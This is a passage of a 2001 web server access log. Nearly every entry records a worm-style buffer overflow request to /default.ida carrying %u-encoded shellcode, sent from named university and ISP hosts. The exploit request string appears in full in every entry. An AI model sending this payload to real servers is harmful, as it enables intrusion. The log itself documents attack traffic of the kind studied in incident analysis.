/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 05:37:50: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 05:44:35: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 05:49:35: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 06:51:49: luis.inag.pt [193.136.235.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 07:08:17: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 08:42:25: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 08:56:55: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 09:09:21: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 10:13:21: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 10:26:08: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 10:29:28: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 10:32:33: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 11:51:30: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 11:57:43: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 13:05:28: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 13:09:22: dialup-cc1-21.cc.columbia.edu [128.59.58.30] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 13:16:32: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 13:36:07: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 14:32:58: dialup-ccts5-170.cc.columbia.edu [128.59.6.179] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 14:41:05: [212.150.144.19] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 15:05:07: fr-cust-242.isdn.net.il [] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 17:37:19: Bubble.seas.ucla.edu [128.97.3.66] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 17:39:03: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 17:41:45: cm297222-b.ftwrth1.tx.home.com [65.10.91.51] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 17:42:58: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 20:51:41: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 21:58:56: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 22:53:27: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010916 23:10:27: [61.132.13.105] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 02:15:15: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 03:17:40: [61.169.224.7] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 03:22:44: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 03:46:09: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 03:59:11: [217.58.139.34] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 04:27:45: [128.134.245.79] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 05:22:20: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 05:45:26: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 05:57:43: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 07:31:12: dynamic-50-100.dyn.columbia.edu [128.59.50.100] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 